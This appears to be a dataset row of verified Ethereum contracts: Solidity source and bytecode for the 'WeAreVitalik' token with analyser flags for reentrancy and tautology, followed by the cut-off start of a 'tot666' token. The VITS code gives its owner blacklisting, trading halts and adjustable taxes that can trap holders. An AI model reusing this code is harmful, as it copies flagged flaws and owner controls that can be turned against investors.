0x79db5abc4d3e0740a17b60ae2215e5ae43a54cc9
/** *Submitted for verification at Etherscan.io on 2022-04-06 */ //TG: https://t.me/WeAreVitalik // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract WeAreVitalik is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "WeAreVitalik"; string private constant _symbol = "VITS"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 21000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x1E0Ef979f9ac773cA48dFfb951c2cc57f23365Cc); address payable private _marketingAddress = payable(0x1E0Ef979f9ac773cA48dFfb951c2cc57f23365Cc); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000 * 10**9; uint256 public _maxWalletSize = 210000 * 10**9; uint256 public _swapTokensAtAmount = 210 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 100000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b157600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ae4565b6105fc565b005b34801561020a57600080fd5b5060408051808201909152600c81526b5765417265566974616c696b60a01b60208201525b60405161023c9190611ba9565b60405180910390f35b34801561025157600080fd5b50610265610260366004611bfe565b61069b565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50664a9b63844880005b60405190815260200161023c565b3480156102dd57600080fd5b506102656102ec366004611c2a565b6106b2565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023c565b34801561032f57600080fd5b50601554610295906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611c6b565b61071b565b34801561036f57600080fd5b506101fc61037e366004611c98565b610766565b34801561038f57600080fd5b506101fc6107ae565b3480156103a457600080fd5b506102c36103b3366004611c6b565b6107f9565b3480156103c457600080fd5b506101fc61081b565b3480156103d957600080fd5b506101fc6103e8366004611cb3565b61088f565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611c6b565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610295565b34801561045a57600080fd5b506101fc610469366004611c98565b6108cc565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b506040805180820190915260048152635649545360e01b602082015261022f565b3480156104bd57600080fd5b506101fc6104cc366004611cb3565b610914565b3480156104dd57600080fd5b506101fc6104ec366004611ccc565b610943565b3480156104fd57600080fd5b5061026561050c366004611bfe565b610af9565b34801561051d57600080fd5b5061026561052c366004611c6b565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc610b06565b34801561056257600080fd5b506101fc610571366004611cfe565b610b5a565b34801561058257600080fd5b506102c3610591366004611d82565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611cb3565b610bfb565b3480156105e857600080fd5b506101fc6105f7366004611c6b565b610c2a565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611dbb565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611df0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611e1c565b915050610632565b5050565b60006106a8338484610d14565b5060015b92915050565b60006106bf848484610e38565b610711843361070c85604051806060016040528060288152602001611f36602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611374565b610d14565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611dbb565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611dbb565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e357506013546001600160a01b0316336001600160a01b0316145b6107ec57600080fd5b476107f6816113ae565b50565b6001600160a01b0381166000908152600260205260408120546106ac906113e8565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161062690611dbb565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161062690611dbb565b655af3107a40008111156107f657601655565b6000546001600160a01b031633146108f65760405162461bcd60e51b815260040161062690611dbb565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093e5760405162461bcd60e51b815260040161062690611dbb565b601855565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161062690611dbb565b60048411156109cc5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610626565b6014821115610a285760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610626565b6004831115610a885760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610626565b6014811115610ae55760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610626565b600893909355600a91909155600955600b55565b60006106a8338484610e38565b6012546001600160a01b0316336001600160a01b03161480610b3b57506013546001600160a01b0316336001600160a01b0316145b610b4457600080fd5b6000610b4f306107f9565b90506107f68161146c565b6000546001600160a01b03163314610b845760405162461bcd60e51b815260040161062690611dbb565b60005b82811015610bf5578160056000868685818110610ba657610ba6611df0565b9050602002016020810190610bbb9190611c6b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bed81611e1c565b915050610b87565b50505050565b6000546001600160a01b03163314610c255760405162461bcd60e51b815260040161062690611dbb565b601755565b6000546001600160a01b03163314610c545760405162461bcd60e51b815260040161062690611dbb565b6001600160a01b038116610cb95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d765760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610dd75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e9c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610efe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610f605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610f8c57506000546001600160a01b03838116911614155b1561126d57601554600160a01b900460ff16611025576000546001600160a01b038481169116146110255760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b6016548111156110775760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff161580156110b957506001600160a01b03821660009081526010602052604090205460ff16155b6111115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6015546001600160a01b038381169116146111965760175481611133846107f9565b61113d9190611e37565b106111965760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b60006111a1306107f9565b6018546016549192508210159082106111ba5760165491505b8080156111d15750601554600160a81b900460ff16155b80156111eb57506015546001600160a01b03868116911614155b80156112005750601554600160b01b900460ff165b801561122557506001600160a01b03851660009081526005602052604090205460ff16155b801561124a57506001600160a01b03841660009081526005602052604090205460ff16155b1561126a576112588261146c565b47801561126857611268476113ae565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112af57506001600160a01b03831660009081526005602052604090205460ff165b806112e157506015546001600160a01b038581169116148015906112e157506015546001600160a01b03848116911614155b156112ee57506000611368565b6015546001600160a01b03858116911614801561131957506014546001600160a01b03848116911614155b1561132b57600854600c55600954600d555b6015546001600160a01b03848116911614801561135657506014546001600160a01b03858116911614155b1561136857600a54600c55600b54600d555b610bf5848484846115f5565b600081848411156113985760405162461bcd60e51b81526004016106269190611ba9565b5060006113a58486611e4f565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b600060065482111561144f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b6000611459611623565b90506114658382611646565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114b4576114b4611df0565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150857600080fd5b505afa15801561151c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115409190611e66565b8160018151811061155357611553611df0565b6001600160a01b0392831660209182029290920101526014546115799130911684610d14565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b2908590600090869030904290600401611e83565b600060405180830381600087803b1580156115cc57600080fd5b505af11580156115e0573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061160257611602611688565b61160d8484846116b6565b80610bf557610bf5600e54600c55600f54600d55565b60008060006116306117ad565b909250905061163f8282611646565b9250505090565b600061146583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117eb565b600c541580156116985750600d54155b1561169f57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116c887611819565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116fa9087611876565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172990866118b8565b6001600160a01b03891660009081526002602052604090205561174b81611917565b6117558483611961565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179a91815260200190565b60405180910390a3505050505050505050565b6006546000908190664a9b63844880006117c78282611646565b8210156117e257505060065492664a9b638448800092509050565b90939092509050565b6000818361180c5760405162461bcd60e51b81526004016106269190611ba9565b5060006113a58486611ef4565b60008060008060008060008060006118368a600c54600d54611985565b9250925092506000611846611623565b905060008060006118598e8787876119da565b919e509c509a509598509396509194505050505091939550919395565b600061146583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611374565b6000806118c58385611e37565b9050838110156114655760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b6000611921611623565b9050600061192f8383611a2a565b3060009081526002602052604090205490915061194c90826118b8565b30600090815260026020526040902055505050565b60065461196e9083611876565b60065560075461197e90826118b8565b6007555050565b600080808061199f60646119998989611a2a565b90611646565b905060006119b260646119998a89611a2a565b905060006119ca826119c48b86611876565b90611876565b9992985090965090945050505050565b60008080806119e98886611a2a565b905060006119f78887611a2a565b90506000611a058888611a2a565b90506000611a17826119c48686611876565b939b939a50919850919650505050505050565b600082611a39575060006106ac565b6000611a458385611f16565b905082611a528583611ef4565b146114655760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b8035611adf81611abf565b919050565b60006020808385031215611af757600080fd5b823567ffffffffffffffff80821115611b0f57600080fd5b818501915085601f830112611b2357600080fd5b813581811115611b3557611b35611aa9565b8060051b604051601f19603f83011681018181108582111715611b5a57611b5a611aa9565b604052918252848201925083810185019188831115611b7857600080fd5b938501935b82851015611b9d57611b8e85611ad4565b84529385019392850192611b7d565b98975050505050505050565b600060208083528351808285015260005b81811015611bd657858101830151858201604001528201611bba565b81811115611be8576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1157600080fd5b8235611c1c81611abf565b946020939093013593505050565b600080600060608486031215611c3f57600080fd5b8335611c4a81611abf565b92506020840135611c5a81611abf565b929592945050506040919091013590565b600060208284031215611c7d57600080fd5b813561146581611abf565b80358015158114611adf57600080fd5b600060208284031215611caa57600080fd5b61146582611c88565b600060208284031215611cc557600080fd5b5035919050565b60008060008060808587031215611ce257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1357600080fd5b833567ffffffffffffffff80821115611d2b57600080fd5b818601915086601f830112611d3f57600080fd5b813581811115611d4e57600080fd5b8760208260051b8501011115611d6357600080fd5b602092830195509350611d799186019050611c88565b90509250925092565b60008060408385031215611d9557600080fd5b8235611da081611abf565b91506020830135611db081611abf565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e3057611e30611e06565b5060010190565b60008219821115611e4a57611e4a611e06565b500190565b600082821015611e6157611e61611e06565b500390565b600060208284031215611e7857600080fd5b815161146581611abf565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ed35784516001600160a01b031683529383019391830191600101611eae565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f3057611f30611e06565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a29579be6b0dc1f89c3733d3c47f692a9c5d862880eaf02ce2e8b48b410c95ae64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
10,006
0x289a236b589811bb4ce06421e6006559d1fb91e9
// -------------------------------- // Smart Contract for tot666.finance // Twitter: https://twitter.com/tot666finance // Telegram: https://t.me/tot666finance // Website: https://tot666.finance // Email: contact@tot666.finance // Medium: https://tot666finance.medium.com/tot-finance-6b389add27e9 // -------------------------------- pragma solidity ^0.5.17; contract Context { constructor() internal {} function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // -------------------------------- // Safe Math Library // Added ceiling function // -------------------------------- library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } // Gas Optimization function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } // -------------------------------- // Ensure enough gas // -------------------------------- contract GasPump { bytes32 private stub; uint256 private constant target = 10000; modifier requestGas() { if (tx.gasprice == 0 || gasleft() > block.gaslimit) { _; uint256 startgas 